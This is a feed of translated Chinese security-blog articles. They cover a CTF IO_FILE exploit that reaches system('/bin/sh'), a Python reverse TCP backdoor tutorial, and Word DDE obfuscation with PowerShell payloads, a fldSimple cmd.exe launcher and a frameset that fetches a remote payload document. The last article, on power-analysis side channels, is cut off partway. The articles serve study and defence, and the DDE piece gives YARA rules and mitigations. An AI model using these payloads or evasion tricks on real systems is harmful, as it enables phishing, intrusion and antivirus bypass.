其实还是利用在

int _IO_flush_all_lockp(intdo_lock) { intresult=0; struct_IO_FILE*fp; intlast_stamp; #ifdef_IO_MTSAFE_IO __libc_cleanup_region_start(do_lock,flush_cleanup,NULL); if(do_lock) _IO_lock_lock(list_all_lock); #endif last_stamp=_IO_list_all_stamp; fp=(_IO_FILE*)_IO_list_all; while(fp!=NULL) { run_fp=fp; if(do_lock) _IO_flockfile(fp); if(((fp->_mode<=0&&fp->_IO_write_ptr>fp->_IO_write_base) #ifdefined_LIBC||defined_GLIBCPP_USE_WCHAR_T ||(_IO_vtable_offset(fp)==0 &&fp->_mode>0&&(fp->_wide_data->_IO_write_ptr >fp->_wide_data->_IO_write_base)) #endif ) &&_IO_OVERFLOW(fp,EOF)==EOF) result=EOF; if(do_lock) _IO_funlockfile(fp); run_fp=NULL; if(last_stamp!=_IO_list_all_stamp) { /*Somethingwasaddedtothelist.Startalloveragain.*/ fp=(_IO_FILE*)_IO_list_all; last_stamp=_IO_list_all_stamp; } else fp=fp->_chain; } #ifdef_IO_MTSAFE_IO if(do_lock) _IO_lock_unlock(list_all_lock); __libc_cleanup_region_end(0); #endif returnresult; }

中的chain字段,伪造一个file结构体,然后修改chain为这个结构体的地址。之后在调用IO_flush_all_lockp函数的时候,这个结构体就会被调用。

但是因为check了vtables,所以不能够任意提供一个伪造的vtable的地址,但是可以使用io_str_jumps 这个vtable。

正常的IO_FILE_jumps的IO_OVERFLOW就是直接跳到虚表中这个偏移位置的地址

#defineJUMP1(FUNC,THIS,X1)(_IO_JUMPS_FUNC(THIS)->FUNC)(THIS,X1)

但是在io_str_jumps的虚表中 overflow 对应的处理函数是不一样的,我们可以利用这里不一样的地方直接执行system('/bin/sh')

https://code.woboq.org/userspace/glibc/libio/strops.c.html#81
【技术分享】CTF中带来的IO_FILE新思路

【技术分享】CTF中带来的IO_FILE新思路

最终通过

(*((_IO_strfile*)fp)->_s._allocate_buffer)(new_size);

跳到system('/bin/sh')上面


总结

文章介绍了通过IO_FILE来造成任意代码执行的方法。IO_FILE从开始的没有任何保护,到现在有了对结构体关键位置的check。漏洞的利用方式也开始变的越来越复杂,对利用的要求也会越来越高。不过在我看来,只要能够做到对IO_FILE的改写,就能够做到任意代码执行。

如果文章中有什么说的不对的地方,还请大家多多批评指正。



【技术分享】CTF中带来的IO_FILE新思路
【技术分享】CTF中带来的IO_FILE新思路
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4661.html

【技术分享】利用 Python 打造反向 TCP 后门

$
0
0
【技术分享】利用 python 打造反向 TCP 后门

2017-11-09 10:44:21

阅读:1721次
点赞(0)
收藏
来源: 0x00sec.rog





【技术分享】利用 Python 打造反向 TCP 后门

作者:shan66





【技术分享】利用 Python 打造反向 TCP 后门

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Python的反向TCP后门

linux中,我们需要在一个安全的环境中进行黑客攻击(渗透测试)。通常情况下,我们做的第一件事就是安装虚拟化软件,同时安装能找到的所有操作系统发行版。在黑客攻击的阶段,为了拿下目标机器,我们需要借助某种程序来感染系统。这种做法的缺点是:防病毒产品对于那些广为人知的Metasploit文件都了如指掌,因此,为了攻陷受害者机器,我们需要禁用这些产品——但这种做法不太现实。因此,这就迫使我们开发自己的攻击程序。当然,这方面的程序(即Payload)有很多种类型,而今天要讲的,则是反向TCP程序。

反向TCP:在正常转发连接中,客户端是通过服务器的开放端口连接到服务器的,但在反向连接的情况下,客户端会主动打开服务器上将要连接的端口。反向连接最常见的用途就是绕过防火墙和路由器的安全限制。

例如,在阻止入站连接的防火墙后面的电脑上运行的后门,可以轻松建立出站连接,通过Internet与远程主机进行通信。一旦建立了连接,远程主机就可以向后门发送命令。这种通信方式对攻击者来说很有帮助,因为在受害者机器上启动本地Shell是非常容易的。

在这个文章系列中,我们将利用Python开发一个反向TCP程序。那么,我们为什么要分成多个部分呢?这是因为,在每个部分中,我们都会为Shell引入一个新的函数、命令或代码,这样能够使其更加灵活。我们要从头开始,打造一款真正属于自己的、令人敬畏的、奇幻无比的、难以置信的……(我觉得这些形容词已经差不多够了)Shell。

在这篇文章中,我们会把Shell锻造得稍微漂亮一些。下面,让我们先从服务器(攻击方)脚本开始。


脚本编写:IMPORT语句

下面是我们新写的import语句

#!/usr/bin/envpython importsocket,sys,os

不错! !


脚本编写:脚本的彩色显示函数

这个函数能够让我们的Shell变得异彩纷呈。


【技术分享】利用 Python 打造反向 TCP 后门

图1

这个函数能够将传递给它的文本赋予指定的颜色。它可以接受的参数:

1."r" 或 "red" ——红色

2."g" 或 "green"——绿色

3."b" 或 "blue"——蓝色

4."y" 或 "yellow" ——黄色

5."lgray" ——浅灰

6."underline" —— 带下划线的文本

7."strike" —— 带删除线的文本


脚本编写:banner函数

虽然这几个函数都不是必需的,但是可以改善用户体验。 我们可以根据自己的喜好进行相应的定制。


【技术分享】利用 Python 打造反向 TCP 后门

图2

注意:这里,我把“lgray”改成了“gray”。 正如我刚才所说,只要我们喜欢,可以随意修改。

很明显,这个函数的作用是将文本返回给调用者。


脚本编写:主控函数

该函数将会接管服务器套接字。在上一篇文章中,我们没有使用任何函数,而是直接使用原始代码。现在,我们要把这些原始代码写成函数,并进行了一些必要的修改。


【技术分享】利用 Python 打造反向 TCP 后门

图3

不要慌,仔细阅读代码,你总会弄懂的。让我们化整为零,分别解释一下好吗?

1.我们接收套接字信息并将其传递给相应的变量host和port

2.如果没有出错的话,我们将通过script_color函数输出“Framework Started Success”。

3.接下来是向屏幕输出标语的banner()函数。

4.然后,设置套接字,绑定并开始监听。

5.通常情况下,我们将 host 作为空字符串进行传递。如果是这样的话,我们在设置套接字后将主机字符串改为“localhost”

6.我们接着打印“Listening on host address:port number ...”

7.我们开始接收连接。

8.如果一切顺利,并且客户端发起连接的话,我们将进入console函数,并将连接流和主机地址作为参数传递给该函数。

9.如果函数退出,我们将关闭套接字

这实际上并不是很难!所以,让我们继续。


脚本编写:控制台函数

这是最难的一部分,但如果我们能够搞定这一个函数的话,后面的内容将不在话下。控制台函数的代码如下所示。


【技术分享】利用 Python 打造反向 TCP 后门

图4

代码有点长。首先,我们打印了一个字符串,指出已经从远程主机建立了连接。然后,我们开始接收来自该连接的数据,这个数据是与远程系统相关的信息(我们将在客户端进行处理)。然后,我们对数据进行整理,下面给出相应的数据布局:

系统类型

计算机名称(节点名称)

发行版本

系统版本

机器体系结构

用户名

所有这些信息都来自(我们在客户端使用的)os模块中的uname()和getlogin()函数。

之后,我们使用收到的信息为shell创建一个自定义提示符,例如,root@127.0.0.1。

然后,我们进入命令循环。该循环提供了用于连接的各种命令。这里将定义我们的自定义命令,因此诸如“ls -l”和其他linux命令将不起作用。

下面是我们的前5条内置命令。

1.exec——接收一个命令作为参数,并在远程主机上执行该命令。这是我们日常的linux命令可以发挥作用的地方,例如exec ls -l

2.cls——清除终端屏幕。使用默认的linux clear命令

3.help——调用help函数,并打印帮助文本(我们将很快实现该函数)

4.sysinfo——打印收到的远程系统的信息

5.exit()——向远程shell发送暂停命令,同时从本地退出

6.任何非指定的命令都不被接受,并且在else语句中打印一条错误消息

对于内置的exec命令,不应该向其传递任何参数,否则会打印一个错误消息。在exec命令中有一个新的函数send_data,它可以接收连接流以及要执行的命令。同时,它还会自动处理数据的发送和接收。

就像您所看到的那样,我倒真希望让您来写代码。您可以在代码可以正常运行后对其进行修改。如果在写作过程中进行修改的话,可能会导致很多问题(相信我)。


脚本编写:帮助函数

所有内置在这个框架(脚本)中的命令的说明都囊括在这个函数中。


【技术分享】利用 Python 打造反向 TCP 后门

图5

这个函数会按照顺序打印help_list,并对其进行格式化。


脚本编写:数据发送函数

该函数如前所述将会自动发送和接收数据。


【技术分享】利用 Python 打造反向 TCP 后门

图6

现在,让我们把这一切都整合起来。


调用各个函数

我们知道,函数是不会自行执行的,除非它被调用。


【技术分享】利用 Python 打造反向 TCP 后门

图7

上面这些代码,只是我们所有工作的一部分而已。下面,让我们开始看看客户端脚本需要进行哪些修改。


客户端代码

为了与服务器配合好,客户端也需要遵守一些规则和命令,例如服务器脚本中的exec命令。所以,我们将import语句改为:

#!/usr/bin/envpython importsocket,subprocessassp,sys,os

我们的第一函数将是connect函数。


connect函数

顾名思义,这个函数的作用是连接到指定的地址。建立连接后,它也会发送系统信息。


【技术分享】利用 Python 打造反向 TCP 后门

图8

然后,它会以连接流作为参数调用interactive_session函数。


交互式会话函数

这个函数会运行一个循环语句,然后根据“if”指令来接收和执行命令。


【技术分享】利用 Python 打造反向 TCP 后门

图9

该函数使用另一个函数send_data来发送数据。


数据发送函数

该函数计算数据的长度,并将这个长度与数据一起发送。


【技术分享】利用 Python 打造反向 TCP 后门

图10

这个函数将有助于未来的修改。


调用各个函数

我们必须调用函数,否则它自己是不会执行的。


【技术分享】利用 Python 打造反向 TCP 后门

图11

下面,让我们执行攻击方(服务器)脚本,看看能得到什么结果

root@Sploit:~/Desktop#pythonreverseTcp.py''8000

客户端应建立连接,并在命令行上传递主机信息。

root@Sploit:~/Desktop#pythonconnect.py127.0.0.18000

以下是攻击方的服务器脚本的屏幕截图:


【技术分享】利用 Python 打造反向 TCP 后门

图12

我们来浏览一下帮助选项


【技术分享】利用 Python 打造反向 TCP 后门

图13

从远程系统的nmap结果来看,我认为已经在注册的服务上打开了一个端口。不出所料,客户端控制台果然没有显示任何内容,因为我们没有打印任何东西。


小结

在本文中,我们向读者介绍了如何利用Python建立一个反向后门。

不要忘了,更正、修改、更新总是受欢迎的。



【技术分享】利用 Python 打造反向 TCP 后门
【技术分享】利用 Python 打造反向 TCP 后门
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://0x00sec.org/t/how-to-make-a-reverse-tcp-backdoor-in-python-part-2/1040

【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

$
0
0
【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

2017-11-09 14:00:24

阅读:674次
点赞(0)
收藏
来源: staaldraad.github.io





【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

作者:興趣使然的小胃





【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

几周前,我和Saif El-Sherei在SensePost博客上发表了一篇文章,介绍了DDE(Dynamic Data Exchange,动态数据交换)的相关技术,以及如何利用这种技术,在不启用宏功能的MSWord上实现命令执行。我们没有想到这篇文章会吸引那么多人的目光。从那时起,钓鱼及恶意软件攻击行动中开始使用DDE技术,合法的红蓝对抗中也出现了这种技术的身影。随着DDE大规模用于攻击行动中,相应的检测机制也逐步完善,大多数反病毒软件引擎中已经包含基本的DDE检测功能。这类检测技术大多都基于YARA规则,可以识别.docx以及.doc文件中的DDE或者DDEAUTO字符串。在这种情况下,我想知道能否找到混淆文档中DDE特征的方法。现实中已经有人着手尝试过,比如这篇文章中,攻击者修改了DDE字符串的大小写状态,将特征字符串切割为多行形式,以规避基于Yara规则的检测技术。

在这篇文章中,我会与大家分享我在混淆特征及绕过检测方面的经验,希望这些经验能给攻防双方提供参考。

本文主要内容为:

1、如何混淆攻击载荷;

2、如何隐藏DDE/DDEAUTO特征;

3、应对方法。


二、如何混淆攻击载荷

在研究如何混淆DDE以及DDEAUTO域代码(Field Code)的方法之前,我想先重点研究一下如何混淆攻击载荷。之所以这么做,主要有两方面原因。其一,攻击载荷为一串简单的字符串,而不是一个保留的域代码,这意味着混淆载荷不大可能会破坏载荷的功能。其二,我们有更多的空间可以用来混淆,隐藏三个字符(DDE)会比隐藏包含255个字符的字符串难度更大。

由于这方面技术会涉及到域代码相关知识,我们可以尝试下能否在这一领域找到其他可用的混淆点。快速搜索“list field codes word”关键词后,我们找到了微软公布的一份支持文档,这份文档中列出了Word支持的所有域代码,对我们而言非常有用。花了一些时间遍历这些域代码后,我从中找到了一个可能用得上的代码,即QUOTE域。微软对这个域的描述为:“Quote域可以将特定的文本插入文档中”。这听起来非常有用,因为我们的目的是寻找能够修改载荷字符串的方法,而利用QUOTE域,我们可以修改字符串,并将其插入文档中。

顺便提一句,需要注意的是,我们可以在Word中使用嵌套形式的域代码,例如,关于QUOTE域,我们可以这么使用:

{QUOTE{IF{DATE\@"M"}=1"12""{={DATE\@"M"}-1}/1/03"\@"MMMM"}}

上面例子中包含嵌套形式的域代码,QUOTE域内部包含IF域代码,其内容会取决于FORMULA(=)的处理结果,最终包含DATE或者经过格式化的日期数据。

我们可以向QUOTE域提供某个字符的数字编码,它会将这个编码转换为对应的字符(我并没有找到关于这个技术点的参考资料)。比如,如果我们想要得到数字编码为65所对应的那个字符,我们可以在Word中使用如下域:

{QUOTE65}

这段代码最终会显示为字符A,而不是数字65,这正是我们希望得到的结果。现在我们可以将攻击载荷重新以数字形式进行编码,这样Word在执行我们的DDE之前会自动将数字编码转换为字符串。完整的代码如下:

{SETc"{QUOTE65656565}"} {SETd"{QUOTE71717171}"} {DDE{REFc}{REFd}}

上面这段内容等价于:

{DDE"AAAA""GGGG"}

此时,我们可以充分发挥想象力,在载荷中将AAAA以及GGGG替换为前面的那段代码。为了使替换过程更加便捷,我编写了一个python脚本,可以将给定的字符串转换为等效的QUOTE域代码。

#!/usr/env/python print("Convertsastringtothe{QUOTE}Fieldcode") st=raw_input("Stringtoconvert:") out="{QUOTE" forcinst: out+=("%s"%ord(c)) out+="}" print(out)

如果想要弹出powershell,我们可以使用如下代码:

{SETC"{QUOTE67589292801141111031149710911592927710599114111115111102116929279102102105991019292778387111114100461011201019292464692924646929246469292464692921191051101001111191159292115121115116101109515092921191051101001111191151121111191011141151041011081089292118494648929211211111910111411510410110810846101120101}"} {DDE{REFC}"a"}

2.1 Dirty链接

顾名思义,DDEAUTO在文档打开时会自动更新。然而,除非我们在文档上设置了“更新链接(update links)”属性,否则并不是所有的域代码都会自动更新。为了实现这一点,我们需要将我们所使用的链接标记为“dirty”链接(已过时链接),或者更改文档属性,让文档可以自动更新链接(可能会有其他方法比我的方法更加简单)。

具体方法是,当我们创建.docx文档后,可以使用归档管理器软件打开这个文档,然后编辑其中的document.xml文件。为了将链接标记为待更新的dirty链接,我们需要找到文件中以<w:fldChar>开头的所有字符串,添加w:dirty="true"字符串,如下所示:

<w:fldCharw:fldCharType="begin"w:dirty="true"/>

然后,保存document.xml,更新压缩包。现在当用户打开.docx文档时,所有的链接都会自动更新。同时,用户看到的是更加整洁的“Do you want to update”对话框,提示是否更新域。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

2.2 处理结果

最大的问题是,使用QUOTE后,我们是否能达到很好的效果?事实证明的确如此。我们使用了会弹出powershell对话框的Word样本进行测试(我认为如果Word会弹出Powershell对话框,那么这种行为显然是非常可疑的),结果发现VirusTotal上只有1/59的检测率。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

通常情况下,将.docx文件重新保存为.doc文件后,我们依然能得到同样的代码执行效果。然而,使用这种方法时,如果你想打开.doc文档,你会看到一个Error! No application specified错误对话框,这是因为嵌套的域代码没有正确更新的原因。可能会有一种方法能强制更新所有的域代码,然而受我个人知识面所限,我无法在Word中找到这类方法。


三、如何隐藏DDE特征

接下来另一个挑战是,如何隐藏并规避现有的检测机制,这类检测机制包括基于YARA规则以及基于DDE链接提取的技术。

3.1 YARA规则

据我所知,大多数YARA规则的原理都是在某个.docx文档的instrText元素中查找DDE或者DDEAUTO特征(我着重研究的是.docx文档,因为这类文档手动修改起来更加方便)。第一个YARA规则由Nviso Labs公布,包含如下正则表达式:

/<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/

这条规则能有效检测出第一批恶意文档,然而对于后续出现的多行变种文档而言却无能为力。在多行变种文档出现之前,我还找到了这个正则表达式中存在的另一个问题,并已将其反馈给Didier Stevens。如果你仔细研究Office Open XML文件格式规范时,你会发现fldChar域为复杂域(Complex Field)类型,可以包含可选属性。添加可选属性后,我们就能破坏上述YARA规则,无需利用DDEAUTO,只需使用DDE就能实施攻击。这个可选属性为dirty属性,只要将属性值设为true,就能强制更新域代码,因为规范中提到这样一句话:“(属性值为true)表明某个应用程序已标记该域,代表自上次保存以来,当前记录已发生更改,不再有效。”

我在前面提到的QUOTE域中也用到过这个属性,用来强制更新域值。与之前的步骤类似,我们只需要手动修改.docx文档,将该属性添加到文档中即可:

<w:r> <w:fldCharw:fldCharType="begin"w:dirty="true"/> </w:r>

上述正则表达式无法匹配这种可选属性,因此无法检测这类变种。我向Didier提交了新的匹配规则,新的规则可以适配可选属性,也可以适配包含任意空格符的XML数据:

<w:fldChar\s+?w:fldCharType="begin"\s+?(w:dirty="(true|false)")?\s+?\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>

3.2 Oletools:msodde.py

decalage2写了一个python工具:python-oletools,这个工具非常有趣,目前我还没有用它来测试一下我们构造的攻击载荷。这个工具可以从使用DDE攻击方法的所有已知变种中提取DDE载荷。如果利用这个工具来检测我们构造的QUOTE变种,我们发现它还是可以提取到相关链接,表明文档中仍然包含DDE攻击载荷:


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

虽然还需要花点精力,我们还是可以解码这些QUOTE字符,将其转换为待执行的字符串。那么,我们如何绕过这个工具?

回到Office Open XML文件格式(我非常喜欢阅读规范文档),我们发现还有另一个元素可以用来引用域代码。目前为止,我们用到过“Complex Field”类型的fldChar,然而,还有个“Simple Field”类型的fldSimple可以为我们所用。与fldChar不同的是,fldSimple元素并没有包含<w:instrText>子元素,实际上,它会将域代码作为属性加以使用,如w:instr="FIELD CODE"。

规范文档中提到如下一个例子:

<w:fldSimplew:instr="AUTHOR"w:fldLock="true"> <w:r> <w:t>RexJaeschke</w:t> </w:r> </w:fldSimple>

稍加修改后,这段示例代码就可以用于DDE攻击方法中,比如,我们可以嵌入载荷数据,如下所示:

<w:fldSimplew:instr='DDE"C:\\windows\\system32\\cmd.exe""/kpowershell.exe"'w:dirty="true"> <w:r> <w:t>Pew</w:t> </w:r> </w:fldSimple>

使用这种方法,我们还是能得到自动执行的DDE载荷,并且也能绕过Oletools工具:


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

我已经向oletools发起了Pull请求,希望能检测在fldSimple元素中嵌入的DDE链接。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

同样,这种方法在规避反病毒检测方面也取得了不俗的效果。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

需要注意的是,一旦载荷执行,基于行为检测的反病毒软件应该会检测到恶意行为,因此可以说,这些检测结果表明,我们可以绕过反病毒软件的静态扫描。

3.3 副作用

使用fldSimple时会存在一些副作用。如果你决定使用DDEAUTO方法,同时也用到了w:dirty="true",那么当终端用户想执行DDE应用程序时,他们会看到3个提示对话框(我不明白为什么是3个对话框,而不是2个对话框)。与普通方法相对比,这种情况下用户需要多次点击对话框中的“yes”按钮。

有趣的是,使用fldSimple以及c:\\windows\\system32\\cmd.exe /k powershell来启动powershell时,powershell会在cmd窗口内部运行,你可以直接进入powershell控制台。这种情况与在已有的cmd实例中运行powershell一致,但与常见的DDE场景不同(普通DDE会同时生成cmd以及powershell)。与此同时,你会得到一个无法加载PSRedline模块的提示信息:“Cannot load PSReadline module. Console is running without PSReadline”,如下图所示。感兴趣的读者可以进一步挖掘这个信息。


【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测

3.4 无DDE

现在最大的挑战来了,在文档中我们有没有可能完全不包含DDE或者DDEAUTO特征?答案是肯定的,并且这一点对社会工程学方法大有好处。MSWord考虑得非常周到,会提示用户禁用受保护的试图(protected view)以便查看文档内容。

为了完成这个任务,我们可以使用另一个传统(legacy)功能。在历史上,微软曾将Word设计为可以处理与任何文本有关的一站式应用程序,其中就包含创建Web页面功能。Word曾经是编写HTML的一种IDE工具,虽然生成的HTML不是特别优雅,但也能正常工作。当时引入的一个特性就是frames(框架)以及framesets(框架集)。在Word中,我们可以使用frames来将不同的HTML/Text页面加载到frames中,并且HTML会被自动解析,转化为Word格式的内容。在Word 2016或者更早版本的Word中,程序界面中已经不再包含这种功能,然而程序底层依然包含相应的解析例程。这意味着如果我们创建包含嵌入式frames的文档,Word仍然会自动处理这些数据。

想要插入frameset的话,我们需要编辑纯净版的.docx文档。首先,解压缩这个文档,然后打开其中的webSettings.xml文件。接下来我们可以修改并添加新的XML元素frameset:

<w:frameset> <w:framesetSplitbar> <w:ww:val="60"/> <w:colorw:val="auto"/> <w:noBorder/> </w:framesetSplitbar> <w:frameset> <w:frame> <w:namew:val="1"/> <w:sourceFileNamer:id="rId1"/> <w:linkedToFile/> </w:frame> </w:frameset> </w:frameset>

这段内容应该插入到已有的<w:webSettings>元素内部,紧靠在<w:optimizeForBrowser/><w:allowPNG/>元素之前。接下来,我们需要添加rId1关系(Relationship),将我们的文档链接到外部文档。我们需要将名为webSettings.xml.rels的新文件添加到word/_rels/目录中,以完成这个任务。

该文件的内容如下所示:

<?xmlversion="1.0"encoding="UTF-8"standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <RelationshipId="rId1"Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame"Target="http://x.x.x.x/simple.docx"TargetMode="External"/> </Relationships>

我们链接的外部文档为包含DDE攻击载荷的.docx文件。这个例子中,我们会从地址为x.x.x.x的HTTP服务器加载simple.docx文件。首先,我们需要保存经过修改并已添加新内容的文件,然后更新整个.docx压缩包。现在,将经过修改的文档发给目标用户,等待用户打开。由于用户下载的文档包含MOTW(mark of the web)标记,因此该文档会在受保护视图状态下打开。然而,这种情况下,Word会检测到需要请求外部内容才能正确显示这个文件,因此会向用户提示:“链接的文件及其他功能已被禁用。要恢复此功能,你必须编辑此文件”。需要注意的是,这是来自Word的默认消息,我们没法操控这一点。

一旦用户禁用受保护的试图,Word会下载包含DDE攻击载荷的外部文档。这个文档不包含MOTW标记,会由Word负责解析,最终会触发正常的DDE消息。这种方法非常有用,可以夹带我们的DDE攻击载荷,而不会被反病毒软件扫描到。


四、应对措施

最好的应对措施应该是禁用自动更新链接功能,不要完全依赖反病毒软件。Will Dormannn(@wdormann)提出了一种方法,可以更改已安装的Office应用程序配置,使Office忽略链接并禁用链接的自动更新,详情请参考此处链接。

我非常乐意尝试另一种防御机制,那就是在Windows 10秋季创造者更新中引入的Windows Defender Exploit Guard功能。这个功能可以阻止Word、Excel、Powerpoint生成子进程。这样不仅能阻止子进程创建,也能阻止DDE攻击以及嵌入式OLE攻击等。需要注意的是,Matt Nelson(@enima0x3Attack)已经证实,Outlook以及Access都不会添加到ASR(Attack Surface Reduction)的保护范围中。

前面提到过,我已经发起一个pull请求,希望更新oletools工具。目前,基于DDE或者DDEAUTO关键词的YARA规则大部分应该都能正常工作。如果你还坚持搜索类似powershell之类的关键词,我想你需要与时俱进,改变思维,才能跟上这个时代的节奏。



【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测
【技术分享】MSWord:如何混淆域代码绕过基于Yara规则的DDEAUTO检测
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://staaldraad.github.io/pentest/phishing/dde/2017/10/23/msword-field-codes/

【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

$
0
0
【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

2017-11-09 15:06:18

阅读:1914次
点赞(0)
收藏
来源: 安全客





【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

作者:backahasten





【技术分享】侧信道攻击,从喊666到入门之——差分能量攻击初探

作者:backahasten

稿费:350RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

最近在做老师留的翻译作业的时候。发现了很多有关于侧信道攻击的文章。目前,在国内的安全圈子中很少看到与侧信道有关的内容,希望这篇可以做一个补充。

我先挖个坑,希望会写3篇,这是第一篇,差分能量攻击(DPA),第二篇可能是cache攻击,第三篇TEMPEST攻击,我希望我会写完。

学习一项技能最好的办法就是亲手操作一下,斯普林格出版社出版的侧信道攻击年刊里的一篇文章,作者使用DPA攻击了一个没有设防的IC卡,并且给出了完整的数据集;www.dpabook.org上也有可有完整的能量轨迹和matlab代码示例,这样就给了我们动手练习的基础,我也加入了其他我读到的一些内容,这篇文章是我的一个总结,如果有错误,希望各位前辈提醒指正。


I.背景知识

芯片在运行的时候,由于数据或者逻辑的不同,内部的晶体管通断是有区别的,通过这个区别来确定程序内部的数据或者指令,就是侧信道攻击。获取这个区别有很多方法,比如在芯片的GND引脚处获取电压,通过探针去截取芯片辐射的变化等等。

我们的身边有很多密码学设备,比如大家的银行卡,门禁卡手机卡等等,侧信道攻击原来主要是针对这些设备的,可是随着人们对侧信道攻击的重视,密码学设备都增加了对侧信道攻击的防护,(当然,有一些没有防护),侧信道攻击和信息安全的其他技术一样,都是一个动态发展的过程。

侧信道攻击近几年也在智能硬件的攻击上被使用,比如2016年,就有人使用SPA(另一种侧信道攻击方法)攻击了一个智能保险箱。总之,侧信道攻击对于运算单一,时钟频率低(时钟频率低这点很重要)的设备中的加密攻击是很有效的。

在本文的第二部分,我会简单介绍一下攻击的流程,给大家建立起一个思维架构;第三部分,我会先使用网站上和书中的能量轨迹结合攻击的使用的算法开展一个真实的攻击,第四部分,我会说一些多样话的攻击方法和能量轨迹的获取。最后,我会给大家推荐一些有关于这个方面的书和文档。ps:怎么有写论文的感觉。


II.攻击流程

针对与所有的侧信道攻击(包括DPA,TEMPSET,cache泄露等)主要就是两个思路,第一个就是侧信道泄露的截取,第二个是信息的恢复。本节我会主要介绍这两点(只针对这种小设备中的密码学攻击的情况)。

1.信息的截取

设备上,示波器是必须的,无论如何,示波器一定要有把数据传输给电脑的能力,因为之后的处理都是使用matlab进行的。根据《能量分析攻击》这本书中的介绍,针对芯片,主要有以下几种获取泄露的方法。

在GND引脚处串联一个小电阻,大概是1~50欧姆,之后使用示波器测量电阻上的电压。

使用电场探针或者磁场探针获取芯片的电磁泄露。

还有很多其他的方法,比如什么表面扫面法,工作台法拉第笼法等等,这还是要根据具体情况去具体分析。在这里,我们将使用《能量分析攻击》这本书里配套的能量轨迹,这个训练集是使用小电阻耦合得到的。

2.信息的恢复

这种类型的侧信道攻击,主要有简单能量分析攻击,差分能量分析攻击等。

简单能量分析攻击:

简单一点说,就是把能量轨迹显示出来之后用眼睛“看”,当然,也有很多辅助看的方法,比如模板碰撞。SPA的有点是需要的能量轨迹少,缺点是需要泄露比较明显,对噪音的敏感性大。这不是我们的重点,就不说了,有兴趣的师傅可以看我后面推荐的书。ps:主要是我不太熟悉,逃。。。。

差分能量攻击:

和模板类似,我们要使用已知的明文或者密文对加密算法的一个步骤进行匹配。可以说成只针对一个步骤的密钥的爆破。DPA的优点是,即使泄露较小,也可以有效识别,有天然的对噪音的过滤,缺点是需要的能量轨迹很多。

DPA的基本想法就是,通过大量的能量轨迹计算能量轨迹和数据的依赖性。

获取能量轨迹:

首先,我们要确定一个中间值f(d,k),这个f一般是密码学算法的一个中间值,d必须是已知的,我们整个DPA的目的就是求k,k可能是密钥的一部分,或者密钥派生出来的值。接下来,使用示波器去接受对应的能量轨迹。完成之后我们有两个矩阵,第一个矩阵是一个只有一列的矩阵(或许应该叫向量),内容是我们已知的或者是可控的d值,长度是len(d),我们叫他大D。第二个矩阵T是一个len(d)*T的矩阵,T是采样的点数,也就是能量轨迹的长度。每一个d对应矩阵C的一行。这里牵扯到能量轨迹对齐的问题,我们会在第四节讨论这个问题。

计算假设的中间值:

接下来,我们需要一个向量大K,大K应该包含所有小k,即遍历所有k的密钥空间。之后,使用矩阵D和矩阵大K生成矩阵V,使用如下的伪代码进行解释。

fori=1:1:len(D) forn=1:1:len(K) V(i,n)=f(D[i],K[n]); end end

这样,我们就得到了矩阵V,矩阵V的每一行是已知值d相同,密钥K不同,每一列是密钥值k相同,已知值不同。

生成能量模型:

这一步,我们使用上文的V矩阵生成一个对应的矩阵H,矩阵H的名字叫假设能量消耗模型,其中的值就是我们假设的能量消耗值。

有很多方法去获得这个能量的消耗值,比如使用器件级别甚至晶体管级别的仿真,可是这样就需要对芯片的结构有很深的了解,牵扯到了“芯片逆向”这门武林绝学。实际上,有很多简易的方法可以做到同样的效果。比如汉明距离和汉明重量。

看一串二进制:00111010,10001110,汉明距离是两个二进制数中,0到1或者1到0的转换的个数,在这里,就是4,因为第1,3,4,6位有转换。汉明重量是二进制数中1的个数,这两个二进制数的汉明重量都是4。

同样的,还有很多方法可以,我们会在第四节继续讨论。

比较两个能量轨迹

这个比较有很多种模型和方法,我们只说一种最常用的,基于相关系数的攻击。在这一步,我们参与运算的矩阵是测量的矩阵C和我们生成能量的模型V。计算方法如下。

[d1,k]=size(H); [d2,t]=size(T); fori=1:1:k forj=1:1:t ans=corrcoef(H(:,i),T(:,j)); R(i,j)=ans(1,2); end end

之后,我们就可以得到相关系数矩阵R,每一行代表真实的密钥值和我们假设的密钥值的相关系数,最大的哪条,就是我们要找的密钥值,对应的T时刻,就是这一步中间函数执行的时刻。


III.演示实例

我们先来回忆一下数学符号的问题:

f(d,k)函数:这是密码学计算的一个中间步骤,d是我们已知的明文或者密文,k是我们要获取的部分密钥。

D,一个向量,里面储存着我们已知的明文或者密文d。

K,一个向量,遍历所有可能的密钥值k。

T,一个矩阵,每一行是随时间变化而变化的能量值,行数是已知的明文或密文d的数量。

V,一个矩阵,是使用f函数计算了所有可能D,K之后的值。

